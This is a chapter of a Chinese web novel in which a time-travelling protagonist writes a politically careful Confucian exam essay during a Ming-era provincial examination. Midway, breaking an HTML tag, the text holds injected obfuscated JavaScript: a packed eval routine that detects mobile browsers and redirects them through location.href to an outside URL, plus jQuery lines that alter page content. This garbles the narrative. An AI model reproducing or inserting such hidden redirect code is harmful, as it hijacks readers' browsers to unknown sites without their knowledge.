笔尖悬于纸上一瞬,
苏惟瑾的超频大脑已如精密仪器般高速运转起来。
“士志于道,而耻恶衣恶食者,未足与议也。”
——这句话表面看是孔子谈论士人志向与物质享受的关系,
劝诫读书人应安贫乐道。
若按寻常理解,
大可洋洋洒洒写一篇“君子固穷”、“淡泊明志”的文章,
引经据典,四平八稳,绝无错处。
但,这是南直隶乡试!
主考官是京中清流领袖翟銮!
题目岂会如此简单?
超频大脑瞬间调取海量信息进行交叉分析:
嘉靖元年至今,“大礼议”之争愈演愈烈,
皇帝与杨廷和等旧臣围绕“谁为皇考”、
“祭祀之礼”展开激烈博弈,
本质是皇权与阁权、
新兴势力与旧有文官体系的较量。
此事牵动朝野,
所有官员士子都必须站队表态。
翟銮虽看似中立,
但其学术背景与**倾向……
关键词触发:
“礼”、“义”、“名分”、“本质与形式”!
这道题,绝非仅仅考“安贫乐道”!
它暗藏机锋,是在借圣人之言,
隐喻当前“大礼议”中关于“礼之本质”与“外在形式”的争论!
若一味强调“耻恶衣恶食”即志不坚,
则暗合某些要求皇帝恪守旧礼、
不得尊崇生父的言论;
若过分强调“志道”可超越一切形式束缚,
则又有迎合帝意、冲击礼法之嫌。
两端皆是悬崖!
如何破题,方能既展才学,又避祸端?
苏惟瑾心念电转,
眼中数据流无声奔腾。
他果断放弃了非此即彼的简单论述。
超频大脑的优势在于超越时代的宏观视角和精微考据能力!
有了!
不走极端,不直接触碰敏感**,
而是回归学术本身,
用无人能及的考据深度和思辨高度,
对“道”、“志”、“耻”之内涵进行重新厘清和深化阐释!
让文章本身的光芒,
掩盖掉可能存在的**隐喻解读!
思路既定,苏惟瑾深吸一口气,
提笔便写,毫无滞涩。
破题,他并未直斥“耻恶衣恶食”者,
而是另辟蹊径:
“夫士之志于道,犹农之志于稼,
工之志于器,其本一也。
所耻者,非衣恶食恶,
乃志之不笃、道之不明也。”
开篇便将“耻”的对象巧妙转移,
从外在物质引向内在心志,
立意顿时高了一层。
承题、起讲,
他大量引用《礼记》、
《孟子》中关于“礼之本在敬”、
“君子谋道不谋食”的论述,
夯实基础。
随即,笔锋悄然转入更深层次的考辨。
他超频大脑中存储的后世乾嘉考据学成果、
近代哲学思辨此刻化为无形利刃。
他并未直接引用那些惊世骇俗的结论,
而是以其方**,
对相关经典字句进行了极其精微的剖析。
例如,他辨析“耻”字在《论语》不同语境中的细微差别:
有时是“以……为耻”,
强调的是外在评价引发的内心感受;
有时则是“可耻”,
指向行为本身的性质。
进而引申出,
“耻恶衣恶食”更多是一种对外在境遇的“情感反应”,
而“志于道”则是一种主动的、理性的“价值追求”。
二者并非完全对立,
但若因过度关注前者而动摇后者,
便是本末倒置。
他又考据“道”与“礼”的关系:
“礼者,道之文也;
道者,礼之本也。”
指出执着于“恶衣恶食”这类外在形式(礼之文)而忘却内在追求(道之本),
才是真正的“未足与议”。
反之,若内心真正志于道,
则外在条件的优劣,
皆不足以动摇其心志,
故亦无需以“恶衣恶食”为耻。
这番论述,引证广博,
逻辑严密,层层递进,
将一个问题剖析得淋漓尽致。
它似乎完全沉浸在学术探讨中,
未直接涉及“大礼议”半个字,
但其对“本质与形式”的深刻辨析,
却又无声地回应了当下的争论核心
——礼之根本在于敬与诚,
而非完全僵化的外在仪式。
这既暗合了嘉靖帝强调“父子亲情”的某种合理性(心志为本),
又未否定礼法本身的重要性(文以载道),
堪称走在钢丝上的完美平衡!
写到精妙处,
苏惟瑾自己都觉酣畅淋漓。<b
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605607|186215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>这种融合了现代逻辑学、语言学、考据学的降维打击,
放在这个时代,简直是核武器级别的学术论文。
他几乎能想象到,
若把这篇文章扔到现代学术期刊上,
足以引发一场关于儒学诠释学的小规模地震。
号舍内极其安静,
只有笔尖划过纸张的沙沙声,
以及他自己平稳的呼吸声。
相邻号舍那位考生似乎卡在了破题,
不停地唉声叹气,
甚至传来烦躁地轻捶桌板的声音。
更远处,隐约有巡场衙役规律的脚步声走过。
苏惟瑾心无旁骛,手腕稳定,运笔如飞。
精妙的论述、贴切的典故、
严谨的结构如同早已编好的程序,
通过他的笔端流畅输出。
字迹端正清劲,虽非书法大家,
却也自有一股沉稳气度。
文章最后,他再次升华,
将主题拉回到士人的责任与担当:
“是故士之所志,在明道救世,
而非计较于一衣食之微。
能明道,则陋巷箪瓢不改其乐;
能救世,则朱紫玉食不移其志。
若徒以衣冠饮食相矜诩,
而于大道茫无所知,
于生民漠不关心,此真圣门所耻,
岂独恶衣恶食哉?”
掷笔于砚,一篇八百余字的经义文章一气呵成。
通读一遍,逻辑自洽,论证坚实,
考据精详,既展现了无人能及的学术深度,
又巧妙地规避了所有**雷区,
甚至隐隐透出一种超越时代的高远视角。
爽!
知识降维打击的快感,莫过于此!
他小心吹干墨迹,
将试卷置于一旁,心中一片澄明。
首战告捷,这开门一炮,
定然能在那群阅卷官中炸出不小的动静。
此刻,日头已渐升高,
阳光透过号舍高窗的小格,
在案头投下一方明亮的光斑。
苏惟瑾揉了揉有些发酸的手腕,
取出干粮和水,开始补充体力。
接下来的诗赋和另外几道经义题,
也需全力以赴。
但有了这第一篇定心丸,
他信心更足。
江南才子们,你们可知,
这小小的号舍里,
藏着一尊怎样的“学术巨炮”?
龙门角逐,才刚刚开始。